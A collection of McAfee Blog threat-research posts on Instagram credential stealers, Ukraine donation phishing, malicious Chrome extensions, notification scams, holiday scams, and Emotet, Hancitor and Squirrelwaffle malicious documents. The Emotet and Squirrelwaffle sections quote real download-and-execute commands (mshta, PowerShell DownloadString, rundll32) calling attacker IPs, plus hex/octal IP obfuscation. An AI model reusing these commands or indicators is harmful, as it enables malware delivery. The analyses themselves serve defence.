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Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Figure 1. Suspicious apps in Google Images
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified
The way the domain introduces is very simple.
Figure 2. A screenshot to increase the number of followers by entering in 20 followers.
When you run the function, you can see that the number of followers increases every few seconds.
Figure 3. New follower notifications appear in the feed.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
Figure 4. Message being promoted on Telegram
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
Figure 5. Many people complain that their Instagram accounts are being compromised
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
Figure 6. Redirect to malicious website via Android Webview
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
Figure 7. Simple 2 lines of initial code
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29
Figure 8. Abnormal login attempt notification
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgment.
The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security
SHA256:
Domains:
The post Instagram Credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
Authored by Vallabh Chole and Oliver Devane
Scammers are very quick at reacting to current events, so they can generate ill-gotten gains. It comes as no surprise that they exploited the current events in Ukraine, and when the Ukrainian Twitter account tweeted Bitcoin and Ethereum wallet addresses for donations we knew that scammers would use this as a lure for their victims.
This blog covers some of the malicious sites and emails McAfee has observed in the past few weeks.
A crypto donation scam occurs when perpetrators create phishing websites and emails that contain cryptocurrency wallets asking for donations. We have observed several new domains being created which perform this malicious activity, such as ukrainehelp[.]world and ukrainethereum[.]com.
Below is a screenshot of Ukrainehelp[.]world, which is a phishing site asking for crypto donations for UNICEF. The website contains the BBC logo and several crypto wallet addresses.
While investigating this site, we observed that the Ethereum wallet used use was also associated with an older crypto scam site called eth-event20.com. The image below shows the current value of the crypto wallet which is worth $114,000. Interestingly this wallet transfers all its coins to 0xc95eb2aa75260781627e7171c679a490e2240070 which in turn transfers to 0x45fb09468b17d14d2b9952bc9dcb39ee7359e64d. The final wallet currently has 313 ETH which is worth over $850,000. This shows the large sums of money scammers can generate with phishing sites.
Ukrainethereum[.]com is another crypto scam site, but what makes this one interesting is the features it contains to gain the victim’s confidence in trusting the website such as a fake chatbox and a fake donation verifier.
The image above shows the chatbox on the left-hand side which displays several messages. At first glance, it would appear as if other users are on the website and talking, but when you reload the site it shows the same messages. This is due to the chat messages being displayed from a list that is used to populate the website with JavaScript code as shown on the right-hand side.
The site contains a donation checker so the victim can see if their donation was received, as shown below.
The following image shows one of the examples of phish emails we have observed.
The email is not addressed to anyone specifically as they are mass-mailed to multiple email addresses. The wallet IDs in the email are not associated with the official Ukraine Twitter and are owned by scammers. As you can see in the image above, they are similar as the first 3 characters are the same. This could lead to some users believing it is legitimate. Therefore, it’s important to check that the wallet address is identical.
This is the most common type of phishing website. The goal of these sites it entices the victim into entering their credit card and personally identifiable information (PII) data by making them believe that the site being visited is official. This section contains details on one such website we have found using Ukraine donations as a lure.
The image below shows the phishing site. The website was used to save the children’s NGO links and images, which made it appear more genuine. You can see that is it asking the victim to enter their credit card and billing information.
Once the data is entered, and the victim clicks on ‘Donate’, the information will be submitted via the form and will be sent to scammers so they can then use or sell the information.
We observed that a few days after the website was created, the scammers change the site code so that it became a Mcdonald’s phishing site targeting the Arab Emirates. This was a surprising change in tactics.
The heatmap below shows the detections McAfee has observed around the world for the malicious sites mentioned in this blog.
For general cyber scam, education click here
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
| Type | Value | Product | Detected |
| URL – Phishing Sites | ukrainehelp[.]world | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainethereum[.]com | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | unitedhelpukraine[.]kiev[.]ua/ | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | donationukraine[.]io/donate | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | help-ukraine-compaign[.]com/shop | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainebitcoin[.]online/ | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainedonation[.]org/donate | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainewar[.]support | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | sendhelptoukraine[.]com | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | worldsupportukraine[.]com | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | paytoukraine[.]space | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | razonforukraine[.]com | McAfee WebAdvisor | Blocked |
The post Scammers are Exploiting Ukraine Donations appeared first on McAfee Blog.
Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi
McAfee has recently observed several malicious Chrome Extensions which, once installed, will redirect users to phishing sites, insert Affiliate IDs and modify legitimate websites to exfiltrate personally identifiable information (PII) data. According to the Google Extension Chrome Store, the combined install base is 100,000
McAfee Labs has observed these extensions are prevalent in USA, Europe and India as we can observe in the heatmap below.
The perpetrator targets over 1,400 domains, where 100 of them belong to the top 10,000 Alexa ranking including hbomax.com, hotels.com and expedia.com.
One extension, ‘Netflix Party’, mimics the original Netflix Party extension, which allows groups of people to watch Netflix shows at the same time. However, this version monitors all the websites you visit and performs several malicious activities.
The malicious actor behind the extensions has created several Twitter accounts and fake review websites to deceive users into trusting and installing the extensions.
The victim will be tricked into installing the extension and their data will be stolen when browsing a gift card site.
The details of each step are as follows:
This section contains the technical analysis of the malicious chrome extension “bncibciebfeopcomdaknelhcohiidaoe“.
The manifest.json file contains the permissions of the extension. The ‘unsafe-eval’ permission in the ‘content_security_policy’ and the allowed use of content.js on any website visited by the user is of particular concern
When the extension is installed, the background.js script will be loaded. This file uses a simple obfuscation technique of putting all the code on one line which makes it difficult to read. This is easily cleaned up by using a code beautifier and the image below shows the obfuscated script on the first line and the cleaned-up code below the red arrow.
This script accesses https://accessdashboard[.]live to download a script and store it as variable ‘code’ in Chrome’s local storage. This stored variable is then referenced in the content.js script, which is executed on every visited website.
After beautification, we see the code will read the malicious script from the ‘code’ variable which was previously stored.
The malicious code has three main functions, redirection for phishing, modifying of cookies to add AffiliateIDs, and modifying of website code to add chat windows.
Redirection for phishing works by checking if the URL being accessed matches a list, and conditionally redirects to a malicious IP that hosts the phishing site.
URLs monitored are:
Upon navigating to one of the above sites, the user will be redirected to 164[.]90[.]144[.]88. An observant user would notice that the URL would have changed to an IP address, but some users may not.
The image below shows the Apple Phishing site and the various phishing kits being hosted on this server.
The phishing sites share similar codes. If a user enters their gift card information, the data will be posted to 52.8.106.52. A network capture of the post request is shown below:
The second malicious function contains AIPStore which is a dictionary containing a list of URLs and their respective monetizing sites which provide affiliate IDs. This function works by loading new tabs which will result in cookies being set on the visited sites. The flow below describes how the extension will work.
The left image below shows the original site with no affiliate cookie, the one on the right highlights the cookie that has been added by the extension.
The final function checks a list of URLs being accessed and if they match, a JS script will be injected into the HTML code which will result in a chat window being displayed. The image below shows the injected script and the chat window.
The chat window may be used by the malicious actor to request PII data, credit card, and product key information.
This threat is a good example of the lengths malicious actors will go to trick users into installing malware such as creating Twitter accounts and fake review websites.
McAfee advises its customers to be cautious when installing Chrome Extensions and pay attention to the permissions that they are requesting.
The permissions will be shown by Chrome before the installation of the Extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.
The Malicious code within the extension is detected as Phish-Extension. Please perform a ‘Full’ scan via the product.
| Type | Value | Product | Detected |
| URL – Phishing Sites | 164.90.141.88/* | McAfee WebAdvisor | Blocked |
| Chrome Extension | netflix-party – bncibciebfeopcomdaknelhcohiidaoe | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | teleparty – flddpiffdlibegmclipfcnmaibecaobi | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hbo-max-watch-party – dkdjiiihnadmgmmfobidmmegidmmjobi | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | prime-watch-party – hhllgokdpekfchhhiknedpppjhgicfgg | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | private-watch-party – maolinhbkonpckjldhnocgilkabpfodc | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hotstar-ad-blocker – hacogolfhplehfdeknkjnlblnghglfbp | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hbo-ad-blocker – cbchmocclikhalhkckeiofpboloaakim | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | blocksite – pfhjfcifolioiddfgicgkapbkfndaodc | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hbo-enhanced – pkdpclgpnnfhpapcnffgjbplfbmoejbj | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hulu-watch-party – hkanhigmilpgifamljmnfppnllckkpda | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | disney-plus-watch-party – flapondhpgmggemifmemcmicjodpmkjb | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | spotify-ad-blocker – jgofflaejgklikbnoefbfmhfohlnockd | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | ott-party – lldibibpehfomjljogedjhaldedlmfck | Total Protection and LiveSafe | Phish-Extension |
The post Imposter Netflix Chrome Extension Dupes 100k Users appeared first on McAfee Blog.
Authored by Oliver Devane and Vallabh Chole
Notifications on Chrome and Edge, both desktop browsers, are commonplace, and malicious actors are increasingly abusing this feature. McAfee previously blogged about how to change desktop browser settings to stop malicious notifications. This blog focuses on Chrome notifications on Android mobile devices such as phones and tablets, and how McAfee Mobile Security protects users from malicious sites leveraging these notifications.
Most users are unaware of the source of these notifications. Permission is granted when a user clicks ‘Allow’ on a prompt within Android Chrome.
Many malicious websites use language and images like the one above that entice the user to click ‘Allow’ such as ‘Just one more step! Click “Allow” to continue. Once allow is clicked, the website is added to a site permissions list, which will enable it to send notifications.
The notifications will look like a usual Android notification which you will be used to seeing such as you have a new WhatsApp message or email. To identify the source of the notification, we need to look for the application name which is like the one highlighted in the red box below.
The image above shows the notification came from Chrome and it is from the website premiumbros[.]com. This is something you should pay attention to as it will be needed when you want to stop annoying notifications.
Some notifications like the ones in this blog are malicious as they attempt to trick users into believing that their mobile device is infected with a virus and some action is required. When the users click the notification, Chrome will load a website which will present them with a fake warning like the example below:
Clicking either Cancel or Update Now on the above website will result in the same behavior. The browser will redirect the user to a google play store app so that they can download and install it.
The malicious websites will flood your phone with several notifications. The screenshot below shows an example of this:
You may ask yourself, why do malicious actors try to get me to install a google play application? The people behind these scams receive a commission when these applications are installed on devices. They rely on deceptive tactics to trick users into installing them to maximize profits.
To remove a website’s notification permission, you need to change a Chrome setting.
1- Find out the name of the website which is sending these notifications. This can be done by looking at the notification and noting down the name of the website. If we use this blog as an example, it would be premiumbros[.]com
2- Open the Chrome browser app which can be found by performing the following search:
3- Click the three … on the top right hand of the application
4- Scroll down and click on settings
5- Click on Notifications
6- Scroll down until you find the website which you identified in step 1
7- Pres the blue radio button so it turns grey
8- Notifications will now be disabled for that website. If you want to block multiple websites, click the radio button for them as well.
McAfee customers who have McAfee Mobile Security are protected against these malicious websites as long as they enable the ‘Safe Browsing’ feature within the application.
Upon trying to access a malicious website such as the one in the blog it will be blocked as shown in the image below:
Please read this guide on enabling the Safe Browsing feature within the Mobile Security Application.
The post Why Am I Getting All These Notifications on my Phone? appeared first on McAfee Blog.
Authored By: Kiran Raj
In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:
Hexadecimal format: 0xb907d607
Octal format: 0056.0151.0121.0114
Decimal format: 185.7.214.7
This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.
Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.
On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.
Below are the commands used in Hexadecimal and Octal variants of the Maldocs
| FORMAT | OBFUSCATED CMD | DEOBFUSCATED CMD |
| Hexadecimal | cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html | http://185[.]7[.]214[.]7/fer/fer.html |
| Octal | cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html | http://46[.]105[.]81[.]76/c.html |
On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.
The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code
The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.
| cmd line | (New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’) |
The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server
| cmd line | cmd /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString |
| TYPE | VALUE | SCANNER | DETECTION NAME |
| XLS | 06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c | McAfee LiveSafe and Total Protection | X97M/Downloader.nn |
| DLL | a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3 | McAfee LiveSafe and Total Protection
|
Emotet-FSY |
| HTML URL | http://185[.]7[.]214[.]7/fer/fer.html
http://46[.]105[.]81[.]76/c.html |
WebAdvisor | Blocked |
| DLL URL | http://185[.]7[.]214[.]7/fer/fer.png
http://46[.]105[.]81[.]76/cc.png |
WebAdvisor | Blocked |
| TECHNIQUE ID | TACTIC | TECHNIQUE DETAILS | DESCRIPTION |
| T1566 | Initial access | Phishing attachment | Initial maldoc uses phishing strings to convince users to open the maldoc |
| T1204 | Execution | User Execution | Manual execution by user |
| T1071 | Command and Control | Standard Application Layer Protocol | Attempts to connect through HTTP |
| T1059 | Command and Scripting Interpreter | Starts CMD.EXE for commands execution | Excel uses cmd and PowerShell to execute command |
| T1218
|
Signed Binary Proxy Execution | Uses RUNDLL32.EXE and MSHTA.EXE to load library | rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript |
Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.
The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.
By Sriram P & Lakshya Mathur
Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware, and many more. Recently at McAfee Labs, we observed Hancitor Doc VBA (Visual Basic for Applications) samples dropping the payload using the Windows clipboard through Selection.Copy method.
This blog focuses on the effectiveness of this newly observed technique and how it adds an extra layer of obfuscation to evade detection.
Below (Figure 1) is the Geolocation based stats of Hancitor Malicious Doc observed by McAfee since September 2021
Malware authors send the victims a phishing email containing a link as shown in the below screenshot (Figure 3). The usual Docusign theme is used in this recent Hancitor wave. This phishing email contains a link to the original malicious word document. On clicking the link, the Malicious Doc file is downloaded.
Since the macros are disabled by default configuration, malware authors try to lure victims into believing that the file is from legitimate organizations or individuals and will ask victims to enable editing and content to start the execution of macros. The screenshot below (Figure 4) is the lure technique that was observed in this current wave.
As soon as the victim enables editing, malicious macros are executed via the Document_Open function.
There is an OLE object embedded in the Doc file. The screenshot below (Figure 5) highlights the object as an icon.
The loader VBA function, invoked by document_open, calls this random function (Figure 6), which moves the selection cursor to the exact location of the OLE object using the selection methods (.MoveDown, .MoveRight, .MoveTypeBackspace). Using the Selection.Copy method, it will copy the selected OLE object to the clipboard. Once it is copied in the clipboard it will be dropped under %temp% folder.
When an embedded object is being copied to the clipboard, it gets written to the temp directory as a file. This method is used by the malware author to drop a malicious word document instead of explicitly writing the file to disk using macro functions like the classic FileSystemObject.
In this case, the file was saved to the %temp% location with filename name “zoro.kl” as shown in the below screenshot (Fig 8). Fig 7 shows the corresponding procmon log involving the file write event.
Using the CreateObject(“Scripting.FileSystemObject”) method, the malware moves the file to a new location \Appdata\Roaming\Microsoft\Templates and renames it to “zoro.doc”.
This file is then opened with the built-in document method, Documents.open. This moved file, zoro.doc, is password-protected. In this case, the password used was “doyouknowthatthegodsofdeathonlyeatapples?”. We have also seen the usage of passwords like “donttouchme”, etc.
This newly dropped doc is executed using the Documents.Open function (Figure 11).
Zoro.doc uses the same techniques to copy and drop the next payload as we saw earlier. The only difference is that it has a DLL as the embedded OLE object.
It drops the file in the %temp% folder using clipboard with the name “gelforr.dap”. Again, it moves gelforr.dap DLL file to \Appdata\Roaming\Microsoft\Templates (Figure 12).
Finally, after moving DLL to the templates folder, it is executed using Rundll32.exe by another VBA call.
MITRE ATT&CK
| Technique ID | Tactic | Technique details |
| T1566.002 | Initial Access | Spam mail with links |
| T1204.001 | Execution | User Execution by opening the link. |
| T1204.002 | Execution | Executing downloaded doc |
| T1218 | Defense Evasion | Signed Binary Execution Rundll32 |
| T1071 | C&C (Command & Control) | HTTP (Hypertext Transfer Protocol) protocol for communication |
IOC (Indicators Of Compromise)
| Type | SHA-256 | Scanner | Detection Name |
| Main Doc | 915ea807cdf10ea4a4912377d7c688a527d0e91c7777d811b171d2960b75c65c | WSS | W97M/Dropper.im |
| Dropped Doc | c1c89e5eef403532b5330710c9fe1348ebd055d0fe4e3ebbe9821555e36d408e | WSS | W97M/Dropper.im
|
| Dropped DLL | d83fbc9534957dd464cbc7cd2797d3041bd0d1a72b213b1ab7bccaec34359dbb | WSS | RDN/Hancitor |
| URLs (Uniform Resource Locator) | hxxp://mettlybothe.com/8/forum[.]php | WebAdvisor | Blocked |
The post HANCITOR DOC drops via CLIPBOARD appeared first on McAfee Blog.
Co-authored by: Sriram P and Deepak Setty
‘Tis the season for scams. Well, honestly, it’s always scam season somewhere. In 2020, the Internet Crime and Complaint Center (IC3) reported losses in excess of $4.1 billion dollars in scams which was a 69% increase over 2019. There is no better time for a scammer celebration than Black Friday, Cyber Monday, and the lead-up to Christmas and New Year. It’s a predictable time of the year, which gives scammers ample time to plan and organize. The recipe isn’t complicated, at the base we have some holiday excitement, sprinkle in fake shopping deals and add some discounts, and ho ho ho we have social engineering scams.
In this blog, we want to increase awareness related to scams as we expect elevated activity during this holiday season. The techniques used to scam folks are very similar to those used to spread malware too, so always be alert and use caution when browsing and shopping online. We will provide some examples to help educate consumers on how to identify scams. The victims of such scams can be others around you like your kids or parents, so read up and spread the word with family and friends. Awareness, education, and being alert are key to keeping you at bay from fraudsters.
Although there is a myriad of scams out there, we expect the most common scams and targets this season to be:
SMSishing, email-based Phishing, and push notifications will be the most common vectors initiating scams during this holiday season. Here are some common tactics in use today:
This is a common theme around this time of the year. Deals, discounts, and gift cards can be costly to your bank account. Be wary of URLs being presented to you over email or SMS. Phishing emails, bulk mailing, texting, and typo-squatting are some of the ways that scammers target their prey.
Scammers will create a sense of urgency by telling you that you have limited time to claim the deal or that there is low inventory for popular items in their store. It’s not difficult for scammers to identify sought-after electronics items or holiday gifts for sale and offer them for sale on their fake stores. Such scams are believable given the supply chain challenges and delivery shortages over the last few months.
Getting people worried about a life-changing event or disrupting travel plans can be concerning. So, if you get an unexpected call from someone claiming to be from the FBI, police, IRS, or even a travel company, stop and think. They may be using scare tactics to dupe you. Never divulge personal information and if in doubt, ask them a lot of directed questions and fact check them. As an example, check to see if they know your home address, account number, itinerary number, or bank balance depending on who they claim to be. Scammers typically don’t have specific details and when put on the spot, they’ll hang up.
Like scare tactics, scammers may prey on vulnerable people. Although there can be many variations of such scams, the more common ones are Romance Scams where you end up connecting to someone with a fake profile, and Fake Charity Scams where you receive a phone call or an email requesting a donation. Do not entertain such requests over the phone especially if you receive a phone call soliciting a donation. During the conversation, they will attempt to make you feel guilty or selfish for not contributing enough. Remember, there is no rush to donate. Go to a reputable website or a known organization and donate if you must after due diligence.
Successful scams are situationally accurate. You may be the smartest guy in the room, but when you eagerly waiting for that delivery and you see an email update claiming a delivery delay from UPS, you might fall for a scam. This is particularly true in the holiday season and therefore such themes are more prevalent. Here are some tips on how to identify scams early on.
If you believe that you have been a victim of a scam, here are a few tips that might help.
It’s become more common recently to receive text messages for scammers. The following few text messages demonstrate SMSishing attempts.
2. The following are fake texts that attempt to entice you click the link. The bait is the Gift card. One can tell that they are a similar theme since they originate from fake phone numbers, which are very similar but not exact. The domain names of the two URLs are totally random (probably compromised URLs). You can tell that back in October, the full URL based SMShing attempts were not very effective which is why in Nov, they probably used keywords like “COSTCO” and “ebay” within the URL and inline to their SMS context, to make it more likely for people to click.
Also note that some of the URLs only have an “http” versus a “https”, something we had noted earlier in the blog.
One cannot trust an email by the text. You should review the link to ensure it takes you to where it claims to. The following is an example email where the link is not what it claims to be.
Shopify is a Canadian multinational e-commerce company. It offers online retailers a suite of services, including payments, marketing, shipping, and customer engagement tools.
So, where there is money to be made, individuals are looking to take advantage. Shopify scam targets both consumers and business owners. Scammer abuse the power of e-commerce to earn money by implementing fake stores. They observe the product or category, create an attractive logo or image and promote extensively on social media.
Fake Bike Online Purchase store – Mountain-ranger-com
Site: hxxps://mountain-ranger-com.myshopify.com/collections/all
SSL info:
This site is hosted on Shopify, so it has a valid SSL cert which is the first thing we check on where we transact.
Whois Record ( last updated on 2021-11-19 )
Domain Name: myshopify.com
Registry Domain ID: 362759365_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2021-03-02T23:39:12+0000
Creation Date: 2006-03-03T03:01:37+0000
Registrar Registration Expiration Date: 2024-03-02T08:00:00+0000
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.2083895770
Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)
Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)
Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)
Domain Status: serverUpdateProhibited (https://www.icann.org/epp#serverUpdateProhibited)
Domain Status: serverTransferProhibited (https://www.icann.org/epp#serverTransferProhibited)
Domain Status: serverDeleteProhibited (https://www.icann.org/epp#serverDeleteProhibited)
Registrant Organization: Shopify Inc.
Registrant State/Province: ON
Registrant Country: CA
Registrant Email: Select Request Email Format
The registrar info for the site is valid too, as it is hosted on Shopify. If you look closer, however, one will notice red flags:
Examples of similar sites showing incredible discounts.
2. The “About Us” doesn’t make much sense when you see the products that are being offered:
A quick google on the text shows that multiple sites are using the same exact text (most of them probably fake)
3. There are no customer reviews about the products listed.
4. It has a public email server (gmail) in its return policy
5. Looking up the list address in google maps wouldn’t show up anything and looking up the number in apps like true caller shows it’s fake.
The goal of this scam is to steal credentials however it could as well be used as a malware delivery mechanism. The screenshot is that of a fake business proposal hosted on OneDrive Cloud for phishing purposes.
The actor aims to mislead the user into clicking on the above reference link. When the user clicks on the link, it redirects to a different website that displays the below fake OneDrive screenshot.
hxxps://aidaccounts[.]com/11/verified/22/
If a user enters their OneDrive details, the actors receive them at their backend. This means that this victim has lost their login credentials to the phishing actors. Look at the address bar and trust your instincts. This is in no way related to Microsoft OneDrive. There are other such examples where they do some additional plumbing of the URL to include keywords that make it more believable – as they did in the SMSishing example above.
The goal here is to get the user to accept push notifications. Doing so makes the customer susceptible to other possible scams. In this example, the scammers attempt to get users to fill out surveys. Legit companies online pay users for surveys. A referral code is used to pay the survey taker. The scammer in this case attempts to get others to fill the survey on their behalf and therefore makes money when such surveys use the scammer’s referral code. Push notifications are used to get the victims to fill out surveys. Previous blogs from McAfee demonstrate similar scams and how to prevent such notifications
The initial vector comes to the victim via a spam email with a PDF Spam attachment. In this scenario, Gmail was used as the sender.
Upon opening the PDF, a fake online PUBG (Players Unknown Battleground) credits generator gets opened. In PUBG, Gamers need credits to participate in various online games and so this scam baits them offering free credits.
Once the user clicks on the bait URL, it opens a google feed proxy URL.
Malicious websites are destined to be block-listed and therefore have short shelf lives. Google’s feed proxy redirects them in adapting to new URLs and therefore utilizes a fast-flux mechanism as a technique to keep the campaign alive. Usage of feed proxy are not new and we have highlighted its use in the past by the hancitor botnet.
Clicking on the top highlighted URL, it navigates to a webpage that poses as a PUBG Arcane online credit generator.
To make the online generator look real, the website has added fake recent activities highlighting coins users have earned via this generator. Even the add comments section is fake.
Clicking on continue will bring up a fake progress bar. Now the site shows the coins and cash are ready, however, an automated human verification has failed, and a survey has to be taken up for getting the reward.
A clickable link for this verification is also loaded. Once clicked, a small dialog with 3 options are presented.
Clicking on “want to become a millionaire” loaded a survey page and prompts you to take it up. It will also prompt you to allow push notifications from this website.
Once you click on “Allow”, notifications to take up a survey or fake personalized offer notifications start popping up. Be it on your desktop or on your mobile, these notifications pop-ups to take up more surveys.
Clicking on the other links too from “Human Verification”, you will realize that you have finally ended up not gaining anything for your PUBG Arcane gaming, but ended up taking surveys.
Here is another example of a PDF theme we have seen as a lure on the Lenovo tablet offer.
Clicking on this link takes the user to a page that claims it has been protected by a technique to block bots. Persuading you to click on the allow button for enabling popups.
Once you click on the enable button, it then redirects the browser to take up a random survey. In our case, the survey was on household income.
Another such theme that we observed was around the latest Netflix series – Squid games. Although Series 1 has currently been released, the fake email prompts early access to Season 2.
Scammers spend a lot of time and effort tweaking and tuning their schemes to make it fit just right for you. Avoiding a scam is not full proof but being vigilant is key. Don’t get overly keen when you get offers thrown at you this season. Take a step back, relax and think it through, not only should you do your own research, but you should also trust your instincts. Spending a little extra on products or making donations to a reputable and known organization might be worth the peace of mind during the holidays. Help educate your family and contribute by reporting scams.
Happy Holidays!
The post ‘Tis the Season for Scams appeared first on McAfee Blog.
Authored By Kiran Raj
Due to their widespread use, Office Documents are commonly used by Malicious actors as a way to distribute their malware. McAfee Labs have observed a new threat “Squirrelwaffle” which is one such emerging malware that was observed using office documents in mid-September that infects systems with CobaltStrike.
In this Blog, we will have a quick look at the SquirrelWaffle malicious doc and understand the Initial infection vector.
Geolocation based stats of Squirrelwaffle malicious doc observed by McAfee from September 2021
Here is how the face of the document looks when we open the document (figure 3). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.
The VBA Userform Label components present in the Word document (Figure-4) is used to store all the content required for the VBS file. In Figure-3, we can see the userform’s Labelbox “t2” has VBS code in its caption.
Sub routine “eFile()” retrieves the LabelBox captions and writes it to a C:\Programdata\Pin.vbs and executes it using cscript.exe
Cmd line: cmd /c cscript.exe C:\Programdata\Pin.vbs
The dropped VBS Script is obfuscated (Figure-5) and contains 5 URLs that host payloads. The script runs in a loop to download payloads using powershell and writes to C:\Programdata location in the format /www-[1-5].dll/. Once the payloads are downloaded, it is executed using rundll32.exe with export function name as parameter “ldr”
De-obfuscated VBS script
VBS script after de-obfuscating (Figure-6)
Different techniques & tactics are used by the malware and we mapped these with the MITRE ATT&CK platform.
Malicious doc VBA drops and invokes VBS script.
CMD: cscript.exe C:\ProgramData\pin.vbs
Rundll32.exe is used to execute the dropped payload
CMD: rundll32.exe C:\ProgramData\www1.dll,ldr
| Type | Value | Scanner | Detection Name |
| Main Word Document | 195eba46828b9dfde47ffecdf61d9672db1a8bf13cd9ff03b71074db458b6cdf | ENS,
WSS
|
W97M/Downloader.dsl
|
| Downloaded DLL
|
85d0b72fe822fd6c22827b4da1917d2c1f2d9faa838e003e78e533384ea80939 | ENS,
WSS |
RDN/Squirrelwaffle |
| URLs to download DLL | · priyacareers.com
· bussiness-z.ml · cablingpoint.com · bonus.corporatebusinessmachines.co.in · perfectdemos.com |
WebAdvisor | Blocked |
The post The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc. appeared first on McAfee Blog.
Authored by: Wenfeng Yu
